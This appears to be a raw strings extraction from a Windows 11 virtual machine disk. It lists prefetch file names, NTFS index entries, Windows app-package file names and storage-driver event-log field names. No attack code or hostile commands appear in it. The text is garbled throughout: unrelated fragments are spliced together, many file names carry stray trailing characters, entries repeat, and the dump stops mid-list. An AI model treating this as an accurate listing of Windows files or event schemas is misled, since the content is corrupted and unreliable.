MSEDGE.EXE-37D25FA7.pf4 MSIEXE~1.PF ReadyBoot RUNTIMEBROKER.EXE-12A7207A.pf SEARCHFILTERHOST.EXE-44162447.pf SECURI~3.PF SETUPE~1.PF SVA560~1.PF SVCHOS~4.PF VCREDIST_X64.EXE-B84D1972.pff WERMGR.EXE-F439C551.pfE READYB~1 REG.EXE-A93A1343.pf REGEXE~1.PF RU3E46~1.PF RU6EB0~1.PF RU76E3~1.PF RU7D5D~1.PF RU80B5~1.PF RU87B1~1.PF RUA3E7~1.PF RUA7F5~1.PF RUCA46~1.PF RUDED2~1.PF RUE775~1.PF RUF806~1.PF RUFA7A~1.PF RUNDLL32.EXE-36D847E4.pf9A. RUNDLL32.EXE-6F26928C.pf9A. RUNDLL32.EXE-75313621.pf RUNDLL32.EXE-8B0E5000.pf RUNDLL32.EXE-95384118.pf RUNDLL32.EXE-BBC391DD.pf RUNDLL32.EXE-C988F83D.pf RUNDLL~1.PF RUNDLL~2.PF RUNDLL~3.PF RUNDLL~4.PF RUNONCE.EXE-BD8A4C8F.pf RUNONC~1.PF RUNTIMEBROKER.EXE-0725D89A.pf SDBINS~1.PF SE06C4~1.PF SE41D6~1.PF SE643C~1.PF SE84FD~1.PF SE9F8B~1.PF 060BCE SVAAF4~1.PF SVBA5C~1.PF SVCHOST.EXE-002213CE.pf SVCHOST.EXE-0506DF60.pf SVCHOST.EXE-0707973A.pf SVCHOST.EXE-09F4AEA4.pf SVCHOST.EXE-117C4441.pf SVCHOST.EXE-366169FB.pf SVCHOST.EXE-38FE68E5.pf SVCHOST.EXE-3CF81F86.pf SVCHOST.EXE-4B98D760.pf SVCHOST.EXE-5E007493.pf SVCHOST.EXE-6867B1E5.pf SVCHOST.EXE-7AAD9645.pf SVCHOST.EXE-A21A7EFE.pf SVCHOST.EXE-A4B742B7.pf SVCHOST.EXE-B211F709.pf SVCHOST.EXE-BE29F373.pf SVCHOST.EXE-CD72A0A7.pf SVCHOST.EXE-E5CD0034.pf SVCHOST.EXE-EA9BB143.pf SVCHOST.EXE-EBBF67E6.pf SVCHOST.EXE-ED843F3F.pf SVCHOST.EXE-F6EF00D7.pf SVCHOS~1.PF SVCHOS~2.PF SVCHOS~3.PF CSRSSE~1.PF CTFMON.EXE-795F8130.pf CTFMON~1.PF DEFRAG.EXE-3D9E8D72.pf. DEFRAG~1.PF DIRECTXDATABASEUPDATER.EXE-7B8AED66.pf DIRECT~1.PF DISMHOST.EXE-9ED88D89.pf DISMHO~1.PF DL085C~1.PF DL0A4E~1.PF DL0EE7~1.PF DL16BF~1.PF DL34A2~1.PF DL4BC1~1.PF DL5E16~1.PF DL6473~1.PF DL6EA8~1.PF DL6F78~1.PF DLADD1~1.PF DLLHOST.EXE-1BAE06BB.pf DLLHOST.EXE-47BE07DC.pf DLLHOST.EXE-6F625E57.pf DLLHOST.EXE-742E0212.pf DLLHOST.EXE-7D5CE0CA.pf DLLHOST.EXE-810B6BBE.pf DLLHOST.EXE-97848659.pf DLLHOST.EXE-A5357DB5.pf DLLHOST.EXE-C4E575FD.pf DLLHOST.EXE-C7F45418.pf DLLHOST.EXE-D200FEC3.pf DLLHOST.EXE-DEEF2761.pf DLLHOST.EXE-ECDCED3C.pf DLLHOST.EXE-F6E270D2.pf LPREMOVE.EXE-570BDFF7.pf7A5 LPREMO~1.PF MI5E5F~1.PF MI7527~1.PF MIC29E~1.PF MICROSOFT.SHAREPOINT.EXE-A5877392.pf MICROSOFTEDGEUPDATE.EXE-7A595326.pf MICROSOFTEDGE_X64_145.0.3800.-3DFDFBA3.pf MICROSOFTEDGE_X64_145.0.3800.-8694862C.pf MICROSOFTEDGE_X64_145.0.3800.-CB9933EB.pf MICROSOFTEDGE_X64_145.0.3800.-DDC003D5.pf MICROSOFTSTARTFEEDPROVIDER.EX-E9BB04B4.pf MICROS~1.PF MICROS~2.PF MICROS~3.PF MICROS~4.PF MIDISRV.EXE-526A993B.pf MIDISR~1.PF MOBSYNC.EXE-B307E1CC.pf MOBSYN~1.PF MOFCOMP.EXE-5225C32D.pf MOFCOM~1.PF MSEDGE.EXE-37D25FA8.pf4 MSEDGE.EXE-37D25FAA.pf4 MSEDGEWEBVIEW2.EXE-4FD41A3E.pf MSEDGEWEBVIEW2.EXE-4FD41A3F.pf MSEDGEWEBVIEW2.EXE-4FD41A40.pf MSEDGEWEBVIEW2.EXE-4FD41A42.pf MSEDGEWEBVIEW2.EXE-4FD41A48.pf MSEDGEWEBVIEW2.EXE-4FD41A49.pf MSEDGEWEBVIEW2.EXE-4FD41A4B.pf MSEDGEWEBVIEW2.EXE-4FD41A4C.pf MSEDGEWEBVIEW2.EXE-CEE40449.pf MSEDGEWEBVIEW2.EXE-CEE40453.pf MSEDGE~1.PF MSEDGE~2.PF MSEDGE~3.PF MSEDGE~4.PF MSIEXEC.EXE-8FFB1633.pf MSIEXEC.EXE-CDBFC0F7.pf DCD36.pf MSMPEN~1.PF MSMPEN~2.PF NISSRV.EXE-16D8D79C.pf4 NISSRV~1.PF OLKFULLTRUSTEXECUTOR.EXE-B2B84853.pfX OLKFUL~1.PF ONEDRIVE.EXE-0E8FA8E9.pf06. ONEDRIVESETUP.EXE-2F4C4906.pf ONEDRI~1.PF PfPre_49d51d07.mkd PfPre_49d5e2e4.mkd PFPRE_~1.MKDs.b PFPRE_~2.MKD WERMGR~1.PF WERMGR~2.PF WEVTUTIL.EXE-1E154F39.pf.pf WEVTUT~1.PF WIDGETBOARD.EXE-C77DD7E5.pf WIDGETSERVICE.EXE-4FAFA32D.pf WIDGET~1.PF WIDGET~2.PF WINDOWS-KB890830-X64-V5.139.E-B3E946C4.pf WINDOWSTERMINAL.EXE-0DDF887E.pf WINDOW~1.PF WINDOW~2.PF WINLOGON.EXE-DEDDC9B6.pf WINLOG~1.PF WLRMDR.EXE-A7C36FDD.pf WLRMDR~1.PF WMIADAP.EXE-BB21CD77.pf WMIADA~1.PF WMIAPSRV.EXE-FC8436DD.pf WMIAPS~1.PF WMIPRVSE.EXE-39F97B2D.pf WMIPRVSE.EXE-E8B8DD29.pf WMIPRV~1.PF WMIPRV~2.PF WUAUCLTCORE.EXE-07BDE0CF.pf WUAUCL~1.PF WWAHOST.EXE-55C529F0.pf WWAHOS~1.PF VCREDIST_X86.EXE-A9DD70F6.pff VCREDIST_X86.EXE-FB2324C0.pff VCREDI~1.PF VCREDI~2.PF VCREDI~3.PF VCREDI~4.PF VC_REDIST.X64.EXE-7F0E2AFC.pf VC_REDIST.X86.EXE-919BF13D.pf VC_RED~1.PF VC_RED~2.PF VERCLSID.EXE-AB0FD091.pf39. VERCLS~1.PF VGAUTHSERVICE.EXE-779D9D39.pf VGAUTH~1.PF VMTOOLSD.EXE-90328040.pf VMTOOL~1.PF VSSVC.EXE-6C8F0C66.pffE VSSVCE~1.PF WERMGR.EXE-BE3A79B5.pfE RUNTIMEBROKER.EXE-17728757.pf RUNTIMEBROKER.EXE-2C5A250C.pf RUNTIMEBROKER.EXE-3E0B5307.pf RUNTIMEBROKER.EXE-4551A062.pf RUNTIMEBROKER.EXE-72A72F3A.pf RUNTIMEBROKER.EXE-94F69FEA.pf RUNTIMEBROKER.EXE-A9F931C4.pf RUNTIMEBROKER.EXE-ACF4B348.pf RUNTIMEBROKER.EXE-B2BB82C3.pf RUNTIMEBROKER.EXE-BE26AA6C.pf RUNTIMEBROKER.EXE-C6B81CFE.pf RUNTIMEBROKER.EXE-F0BE6FF5.pf RUNTIM~1.PF RUNTIM~2.PF RUNTIM~3.PF RUNTIM~4.PF SDBINST.EXE-49E8B208.pf SDBINS~1.PF SE06C4~1.PF SE41D6~1.PF SE643C~1.PF SE7AFD~1.PF SE84FD~1.PF SE9F8B~1.PF MSIEXE~2.PF MSMPENG.EXE-489B49EE.pf MSMPENG.EXE-558DCD36.pf MSMPEN~1.PF MSMPEN~2.PF NGEN.EXE-4A8DA13E.pf7.p NGEN.EXE-734C6620.pf7.p NGENEX~1.PF NGENEX~2.PF NGENTASK.EXE-0E6CEC17.pf NGENTASK.EXE-849BFD75.pf NGENTA~1.PF NGENTA~2.PF NISSRV.EXE-16D8D79C.pf4 NISSRV~1.PF OLKFULLTRUSTEXECUTOR.EXE-B2B84853.pfX OLKFUL~1.PF ONEDRIVE.EXE-0E8FA8E9.pf06. ONEDRIVE.SYNC.SERVICE.EXE-0CC3C0A8.pf ONEDRIVESETUP.EXE-2F4C4906.pf ONEDRIVESETUP.EXE-92D454D1.pf ONEDRI~1.PF ONEDRI~2.PF ONEDRI~3.PF ONEDRI~4.PF OPENCONSOLE.EXE-DDB337D4.pf OPENCO~1.PF PfPre_49d51d07.mkd PfPre_49d5e2e4.mkd PFPRE_~1.MKDs.b PFPRE_~2.MKD PfSvPerfStats.bin PFSVPE~1.BIN BACKGR~3.PF BACKGR~4.PF BAF9CF~1.PF BDEUISRV.EXE-7BC33651.pf BDEUIS~1.PF CLOUDEXPERIENCEHOSTBROKER.EXE-AB26EBC7.pf CLOUDE~1.PF CMD.EXE-0BD30981.pf CMDEXE~1.PF COMPATTELRUNNER.EXE-B7A68ECC.pf COMPAT~1.PF COMREG.EXE-B18E07FD.pff COMREG~1.PF CONHOST.EXE-0C6456FB.pf CONHOS~1.PF CONSENT.EXE-40419367.pf CONSEN~1.PF MS4270~1.PF MS452D~1.PF MS68DA~1.PF MS79EB~1.PF MS844B~1.PF MS9304~1.PF MSABC5~1.PF MSAE53~1.PF MSB3D1~1.PF MSCORSVW.EXE-16B291C4.pf MSCORSVW.EXE-8CE1A322.pf MSCORS~1.PF MSCORS~2.PF MSD00C~1.PF MSE773~1.PF MSED00~1.PF MSED90~1.PF MSEDGE.EXE-37D25F9A.pf4 MSEDGE.EXE-37D25F9B.pf4 MSEDGE.EXE-37D25F9C.pf4 MSEDGE.EXE-37D25F9E.pf4 MSEDGE.EXE-37D25FA4.pf4 MSEDGE.EXE-37D25FA5.pf4 SECURI~4.PF SEE0E5~1.PF SEE7A1~1.PF SETUP.EXE-123D9A84.pfpf SETUP.EXE-123D9A88.pfpf SETUP.EXE-28D60B5E.pfpf SETUP.EXE-28D60B62.pfpf SETUP.EXE-6501D470.pfpf SETUP.EXE-6501D474.pf SETUP.EXE-84DB82F4.pf SETUP.EXE-84DB82F8.pf SETUP.EXE-9F182B59.pf SETUP.EXE-CA3E74CA.pf SETUP.EXE-CA3E74CE.pf SETUP.EXE-E6239602.pf SETUP.EXE-E6239606.pf B0ED DLA53C~1.PF DLADD1~1.PF DLLHOST.EXE-1BAE06BB.pf DLLHOST.EXE-47BE07DC.pf DLLHOST.EXE-6F625E57.pf DLLHOST.EXE-742E0212.pf DLLHOST.EXE-743755C1.pf DLLHOST.EXE-7D5CE0CA.pf DLLHOST.EXE-810B6BBE.pf DLLHOST.EXE-97848659.pf DLLHOST.EXE-A5357DB5.pf DLLHOST.EXE-A6DA1980.pf DLLHOST.EXE-C4E575FD.pf DLLHOST.EXE-C7F45418.pf DLLHOST.EXE-D200FEC3.pf DLLHOST.EXE-DEEF2761.pf DLLHOST.EXE-ECDCED3C.pf DLLHOST.EXE-F6E270D2.pf @WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked $I300 app.appx WINDOW~1 WindowsMigration $I300 Assets Assets $I300 $I30 $I30 laptopFrame.png newPC.png reconfirmation.svg thisPC.png TransferAborted.svg MICROS~1.COR MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy $I300 DISCOV~1 $I30 $I30 APPXME~1 Assets *MicrosoftWindows.Client.Core_cw5n1h2txyewy $I300 LiveCaptions.dllZ prisNW~ SystemSettingsExtensions.dll $I30 $I30 APPXME~1 AppxMetadata $I300 CodeIntegrity.cat Assets $I300 $I30 $I30 SplashScreen.scale-200.png Square150x150Logo.scale-200.png Square44x44Logo.scale-200.png FamilyValueProp $I300 Assets WIDGET~1.TAS Widgets.Taskbar $I300 Microsoft.Graphics.Canvas.dll -MicrosoftWindows.Client.FileExp_cw5n1h2txyewy $I300 $I30 $I30 APPXME~1 Assets FileExplorerExtensions prisEX~ APPXME~1 AppxMetadata $I300 CodeIntegrity.cat Assets $I300 $I30 $I30 SplashScreen.scale-200.png Square150x150Logo.scale-200.png Square44x44Logo.scale-200.png pris $I300 *MicrosoftWindows.Client.OOBE_cw5n1h2txyewy $I300 msvcp140_atomic_wait_app.dll $I30 $I30 core data APPXME~1 AppxMetadata $I300 CodeIntegrity.cat Assets $I300 $I30 $I30 Oobelogo.png.sc SplashScreen.scale-200.png WOAHLogo.png WOAHSmallLogo.png WINDOW~1 WindowsOobeAppHost $I300 Microsoft.Graphics.Canvas.dll WindowsOobeAppHost.manifest ,MicrosoftWindows.Client.Photon_cw5n1h2txyewy $I300 $I30 $I30 APPXME~1 Assets pris Public APPXME~1 AppxMetadata $I300 CodeIntegrity.cat Assets $I300 $I30 $I30 SplashScreen.scale-200.png Square150x150Logo.scale-200.png Square44x44Logo.scale-200.png INTEGR~1.JSO IntegratedServicesRegionPolicySet.json $DSC INTEGR~1.JSO IntegratedServicesRegionPolicySet.json $DSC INTEGR~1.JSO IntegratedServicesRegionPolicySet.json &IntegratedServicesRegionPolicySet.json WofCompressedData $DSC INTEGR~1.JSO IntegratedServicesRegionPolicySet.json &IntegratedServicesRegionPolicySet.json WofCompressedData $DSC bfsvc.exe.mui bootfix.bin explorer.exe.mui` helppane.exe.mui` hh.exe.mui notepad.exe.mui regedit.exe.mui twain_32.dll.mui winhlp32.exe.mui AccountDialog.AOT.dllla AccountsService.dll AccountsService.winmdla +ActionFX.ActivatableClassesAOT.appxfragment +ActionFX.ActivatableClassesJIT.appxfragment ActionFX.appxfragment ActionFXProxyStubs.dll ActionFXRuntime ActionUI ActionUI.AOT.dllZ ACTION~1 AppActions.dll AppActions.exeM ApplicationLogMessages.dll appxblockmap.xml appxmanifest.xml AppxMetadata APPXME~1 appxsignature.p7xl AriaSDKWrapper.dll nature.p7xl AriaSDKWrapper.dll AriaSDKWrapper.dll data DesktopSpotlight DesktopSpotlight.dllWin DesktopStickerEditor.dll2Ex DesktopStickerEditorWin32Exe DiscoveryHub DiscoveryHubWidget DISCOV~1 DISCOV~2 TEXTIN~1 DragTray.dlln DynamicLottieUwp.dll DynamicLottieWinUI3.dll en-US FeatureDiscoverability FeatureDiscoverability.AOT.dll FEATUR~1 FESearchHost.exebil GetStarted.Eligibility.dll HardwareKeyboardUX.dll Images InputApp InputApp.dll IrisService.dll IrisService.winmd LockCanvasView.dll Microsoft.Web.WebView2.Core.dll Microsoft.Windows.Widgets.dll Microsoft.Winjs-reduced msvcp140_1_app.dlla msvcp140_2_app.dlla msvcp140_app.dllPla msvcp140_atomic_wait_app.dll msvcp140_codecvt_ids_app.dll OSClient.NET.dllPla PCMWinRTAdapter.dll PCMWV2DataInterop.dllor PeopleExperiencePlatform PEOPLE~1 PersonaCardManager PersonaCardManager.dll pris resources.prill RulesEngine.dll SearchHost.exed SearchUx.Core.dll SearchUx.InternalWebApi.dll SearchUx.Model.dll SearchUx.SearchApi.winmd SearchUx.UI.dll SearchUx.WebApi.dll SemanticSearchHelper.dll SmartActionsUX.dll SoftLandingTask SOFTLA~1 TableExtractorWinRT.dll TemplateExpander.dll TextInput TextInput.CarbonDictation.dll TextInput.DictationUI.dll TextInputLayoutData.dll TEXTIN~1 VisualAssist VISUAL~1 webapps Widgets Widgets.WidgetPicker WidgetsWin2DWinUI3 WIDGET~1.WI WIDGET~1.WID WindowsBackup @WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked WindowsMigration WINDOW~1 TextInputCommon.dll TextInputExtensions.dll TextInputHost.exeta TextInputLayoutData.dll TEXTIN~1 TouchKeyboardUX.dll UserSetup.Eligibility.dll vcamp140_app.dll vccorlib140_app.dll vcomp140_app.dll vcruntime140_1_app.dll vcruntime140_app.dllR VisualAssist VisualAssistExe.dll VisualAssistExe.exe VISUAL~1 webapps WebExperienceHost.dll WebExperienceHostApp.exe WebHost.winmd WebView2Standalone.winmd WIDGET~1.WI WIDGET~1.WID WindowsBackup WindowsBackup.dllom @WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked DWindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.dll WindowsMigration WindowsMigrationView.dll WindowsPeopleExperience.dll WindowsPersonaCard.dll WINDOW~1 Widgets.dll Widgets.WidgetPicker WidgetsUWP.dlln WidgetsWin2DWinUI3 WIDGET~1.WI WIDGET~1.WID WindowsBackup WindowsBackup.dllom WindowsBackupClient.exe @WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked DWindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.dll FWindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.winmdr WindowsMigration WindowsMigration.exe.dl WindowsMigrationView.dll WindowsPeopleExperience.dll WindowsPersonaCard.dll WINDOW~1 wsw.dll wv2winrt.dll concrt140_app.dll core coreAppActivation.SCCD Cortana.Internal.Search.winmd Cortana.Internal.winmd Cortana.Search.winmd Cortana.Settings.winmd Cortana.UI CrossDeviceResume CrossDeviceResume.exe.d CrossDeviceResumeView.dll CROSSD~1 data DefaultSettings.xml DesktopSpotlight DesktopSpotlight.dllWin DesktopSpotlight.winmdl DesktopStickerEditor.dll2Ex DesktopStickerEditorWin32Exe DiscoveryHub DiscoveryHubApp.exe DiscoveryHubWidget DISCOV~1 DISCOV~2 Assets DragTray media PERSON~1 TextInput.dll Widgets microsoft.system.package.metadata Microsoft.Web.WebView2.Core.dll !Microsoft.Web.WebView2.Core.winmd Microsoft.Windows.Widgets.dll Microsoft.Windows.Widgets.winmd Microsoft.Winjs-reduced MICROS~1.METpp. msvcp140_1_app.dlla msvcp140_2_app.dlla msvcp140_app.dllPla msvcp140_atomic_wait_app.dll msvcp140_codecvt_ids_app.dll OSClient.NET.dllPla PCMWinRTAdapter.dll PCMWV2DataInterop.dllor PeopleExperiencePlatform PEOPLE~1 PersonaCardManager PersonaCardManager.dll Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-StorageSpaces-Driver Microsoft-Windows-StorageSpaces-Driver/Operational EventData Data DriveId PoolId DeviceNumber DriveManufacturer DriveModel DriveSerial NULL VMware Virtual NVMe Disk VMWare NVME_0000 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-StorageSpaces-Driver Microsoft-Windows-StorageSpaces-Driver/Operational NULL VMware Virtual NVMe Disk VMWare NVME_0000 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-StorageSpaces-Driver Microsoft-Windows-StorageSpaces-Driver/Operational NULL VMware Virtual NVMe Disk VMWare NVME_0000 Microsoft-Windows-StorageSpaces-Driver Microsoft-Windows-StorageSpaces-Driver/Operational NULL VMware Virtual NVMe Disk VMWare NVME_0000 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-StorageSpaces-Driver Microsoft-Windows-StorageSpaces-Driver/Operational NULL VMware Virtual NVMe Disk VMWare NVME_0000 Microsoft-Windows-StorageSpaces-Driver Microsoft-Windows-StorageSpaces-Driver/Operational NULL VMware Virtual NVMe Disk VMWare NVME_0000 Microsoft-Windows-StorageSpaces-Driver Microsoft-Windows-StorageSpaces-Driver/Operational NULL VMware Virtual NVMe Disk VMWare NVME_0000 Microsoft-Windows-StorageSpaces-Driver Microsoft-Windows-StorageSpaces-Driver/Operational NULL VMware Virtual NVMe Disk VMWare NVME_0000 VolumeCorrelationId MountStartTimeUtc VolumeName IsBootVolume DeviceName VendorId ProductId ProductRevision DeviceSerialNumber BusType DeviceGuid DeviceNumber NativeNVMe AdapterSerialNumber SummaryId IoTypeStr IntervalDurationMs IntervalDurationStr HighLatencyLevelMs HighLatencyLevelStr HighLatencyCount TotalCount TotalTimeNs AverageOps AverageLatencyNs AverageLatencyStr AverageLatencyLevelNs MedianLatencyLevelNs MedianLatencyLevelStr MaxLatencyNs MaxLatencyStr MaxLatencyLevelNs LatencyBuckets IoCount0 IoCount1 IoCount2 IoCount3 IoCount4 IoCount5 IoCount6 IoCount7 IoCount8 IoCount9 IoCount10 IoCount11 IoCount12 IoCount13 IoCount14 IoCount15 TotalTimeNs0 TotalTimeNs1 TotalTimeNs2 TotalTimeNs3 TotalTimeNs4 TotalTimeNs5 TotalTimeNs6 TotalTimeNs7 TotalTimeNs8 TotalTimeNs9 TotalTimeNs10 TotalTimeNs11 TotalTimeNs12 TotalTimeNs13 TotalTimeNs14 TotalTimeNs15 TotalBytes AverageBps TotalBytes0 TotalBytes1 TotalBytes2 TotalBytes3 TotalBytes4 TotalBytes5 TotalBytes6 TotalBytes7 TotalBytes8 TotalBytes9 TotalBytes10 TotalBytes11 TotalBytes12 TotalBytes13 TotalBytes14 TotalBytes15 TotalExtents ExtentsCountArrayLength ExtentsCountArray EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name PeriodDurationMicrosSec Data Name OperationCount Data Name RepostedOperationCount Data Name FailedOperationCount Data Name OperationRangeCount Data Name OperationByteCount Data Name OperationLongRangeByteCount Data Name UnalignedRangeCount Data Name BytesInUnalignedRanges Data Name OperationTrimExtentCount Data Name NonBlockAlignedTrimByteCount Data Name ReclaimedByteCount Data Name ByteCountLabelsLength Data Name ByteCountLabels Data Name OperationCountBuckets1 Data Name OperationCountBuckets2 Data Name OperationCountBuckets3 Data Name OperationCountBuckets4 Data Name OperationCountBuckets5 Data Name OperationCountBuckets6 Data Name OperationCountBuckets7 Data Name OperationCountBuckets8 Data Name OperationCountBuckets9 Data Name OperationCountBuckets10 Data Name OperationCountBuckets11 Data Name OperationCountBuckets12 Data Name OperationByteCountBuckets1 Data Name OperationByteCountBuckets2 Data Name OperationByteCountBuckets3 Data Name OperationByteCountBuckets4 Data Name OperationByteCountBuckets5 Data Name OperationByteCountBuckets6 Data Name OperationByteCountBuckets7 Data Name OperationByteCountBuckets8 Data Name OperationByteCountBuckets9 Data Name OperationByteCountBuckets10 Data Name OperationByteCountBuckets11 Data Name OperationByteCountBuckets12 Data Name OperationBytesReclaimedBuckets1 Data Name OperationBytesReclaimedBuckets2 Data Name OperationBytesReclaimedBuckets3 Data Name OperationBytesReclaimedBuckets4 Data Name OperationBytesReclaimedBuckets5 Data Name OperationBytesReclaimedBuckets6 Data Name OperationBytesReclaimedBuckets7 Data Name OperationBytesReclaimedBuckets8 Data Name OperationBytesReclaimedBuckets9 Data Name OperationBytesReclaimedBuckets10 Data Name OperationBytesReclaimedBuckets11 Data Name OperationBytesReclaimedBuckets12 Data Name OperationLatencyBuckets1 Data Name OperationLatencyBuckets2 Data Name OperationLatencyBuckets3 Data Name OperationLatencyBuckets4 Data Name OperationLatencyBuckets5 Data Name OperationLatencyBuckets6 Data Name OperationLatencyBuckets7 Data Name OperationLatencyBuckets8 Data Name OperationLatencyBuckets9 Data Name OperationLatencyBuckets10 Data Name OperationLatencyBuckets11 Data Name OperationLatencyBuckets12 Data Name LatencyBucketLabelsLength Data Name LatencyBucketLabelsLabels Data Name OperationCountLatencyBuckets1 Data Name OperationCountLatencyBuckets2 Data Name OperationCountLatencyBuckets3 Data Name OperationCountLatencyBuckets4 Data Name OperationCountLatencyBuckets5 Data Name OperationCountLatencyBuckets6 Data Name OperationCountLatencyBuckets7 Data Name OperationCountLatencyBuckets8 Data Name OperationCountLatencyBuckets9 Data Name OperationCountLatencyBuckets10 Data Name OperationCountLatencyBuckets11 Data Name OperationCountLatencyBuckets12 Data Name OperationCountLatencyBuckets13 Data Name OperationCountLatencyBuckets14 Data Name OperationCountLatencyBuckets15 Data Name OperationFailureStatusCode1 Data Name OperationFailureCount1 Data Name OperationFailureStatusCode2 Data Name OperationFailureCount2 Data Name OperationFailureStatusCode3 Data Name OperationFailureCount3 Data Name OperationFailureStatusCode4 Data Name OperationFailureCount4 Data Name OperationFailureStatusCode5 Data Name OperationFailureCount5 VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume PeriodDurationMicrosSec OperationCount RepostedOperationCount FailedOperationCount OperationRangeCount OperationByteCount OperationLongRangeByteCount UnalignedRangeCount BytesInUnalignedRanges OperationTrimExtentCount NonBlockAlignedTrimByteCount ReclaimedByteCount ByteCountLabelsLength ByteCountLabels OperationCountBuckets1 OperationCountBuckets2 OperationCountBuckets3 OperationCountBuckets4 OperationCountBuckets5 OperationCountBuckets6 OperationCountBuckets7 OperationCountBuckets8 OperationCountBuckets9 OperationCountBuckets10 OperationCountBuckets11 OperationCountBuckets12 OperationByteCountBuckets1 OperationByteCountBuckets2 OperationByteCountBuckets3 OperationByteCountBuckets4 OperationByteCountBuckets5 OperationByteCountBuckets6 OperationByteCountBuckets7 OperationByteCountBuckets8 OperationByteCountBuckets9 OperationByteCountBuckets10 OperationByteCountBuckets11 OperationByteCountBuckets12 OperationBytesReclaimedBuckets1 OperationBytesReclaimedBuckets2 OperationBytesReclaimedBuckets3 OperationBytesReclaimedBuckets4 OperationBytesReclaimedBuckets5 OperationBytesReclaimedBuckets6 OperationBytesReclaimedBuckets7 OperationBytesReclaimedBuckets8 OperationBytesReclaimedBuckets9 OperationBytesReclaimedBuckets10 OperationBytesReclaimedBuckets11 OperationBytesReclaimedBuckets12 OperationLatencyBuckets1 OperationLatencyBuckets2 OperationLatencyBuckets3 OperationLatencyBuckets4 OperationLatencyBuckets5 OperationLatencyBuckets6 OperationLatencyBuckets7 OperationLatencyBuckets8 OperationLatencyBuckets9 OperationLatencyBuckets10 OperationLatencyBuckets11 OperationLatencyBuckets12 LatencyBucketLabelsLength LatencyBucketLabelsLabels OperationCountLatencyBuckets1 OperationCountLatencyBuckets2 OperationCountLatencyBuckets3 OperationCountLatencyBuckets4 OperationCountLatencyBuckets5 OperationCountLatencyBuckets6 OperationCountLatencyBuckets7 OperationCountLatencyBuckets8 OperationCountLatencyBuckets9 OperationCountLatencyBuckets10 OperationCountLatencyBuckets11 OperationCountLatencyBuckets12 OperationCountLatencyBuckets13 OperationCountLatencyBuckets14 OperationCountLatencyBuckets15 OperationFailureStatusCode1 OperationFailureCount1 OperationFailureStatusCode2 OperationFailureCount2 OperationFailureStatusCode3 OperationFailureCount3 OperationFailureStatusCode4 OperationFailureCount4 OperationFailureStatusCode5 OperationFailureCount5 EventData Data Name Data Name DeviceNameLength Data Name DeviceName DeviceNameLength DeviceName EventData Data Name Data Name DeviceNameLength Data Name DeviceName Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName Data Name VolumeLabelLength Data Name VolumeLabel DeviceNameLength DeviceName VolumeGuid VolumeNameLength VolumeName VolumeLabelLength VolumeLabel EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name ProcessId Data Name ProcessName Data Name DismountReason VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber ProcessId ProcessName DismountReason EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name ProcessId Data Name ProcessName Data Name DismountReason VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber ProcessId ProcessName DismountReason EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name Error VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber Error EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name Error VolumeCorrelationId VolumeIdLength VolumeId 